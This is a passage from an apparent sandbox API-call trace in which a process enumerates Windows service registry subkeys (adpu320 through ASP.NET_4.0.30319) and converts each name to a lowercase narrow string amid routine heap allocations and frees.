BaseAddress=0x21f1cd0) returned 1 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.478] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.478] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.478] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0228.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.479] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.479] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.479] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.479] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0228.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.480] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.480] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.480] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0228.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.481] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.481] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.481] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.481] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.482] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.482] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.482] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0228.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.483] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.483] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, 